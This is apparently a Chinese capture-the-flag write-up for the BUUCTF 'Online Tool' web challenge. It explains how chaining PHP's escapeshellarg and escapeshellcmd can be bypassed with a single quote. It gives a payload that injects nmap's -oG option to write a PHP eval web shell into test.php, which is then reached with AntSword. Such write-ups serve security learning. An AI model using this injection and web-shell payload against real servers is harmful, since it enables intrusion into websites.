2018 BUUCTF Web wp
0x01 Online Tool
通过nmap写入文件指令-oG进行写马
涉及到escapeshellarg和escapeshellcmd联合使用的绕过
escapeshellarg函数:
对单引号转义,并将其他部分用单引号括起来
escapeshellcmd函数:
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线\会在以下字符之前插入: &#;|*?~<>^()[]{}$\ ,\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
对于该题中escapeshellarg()和escapeshellcmd()联合使用的情况,我们可以采用单引号进行绕过
Payload:
/?host=' <?php eval($_POST[shell]);?> -oG test.php '
经过escapeshellarg()函数后该payload会变为
\' '<?php eval($_POST[shell]);?> -oG test.php \''
经过escapeshellcmd()函数后该payload会变为
\\' '\<\?php eval\(\$_POST\[shell\]\)\;\?\> -oG test.php \\''
即在exec命令时进行执行,将马写入test.php中
之后蚁剑连接获得flag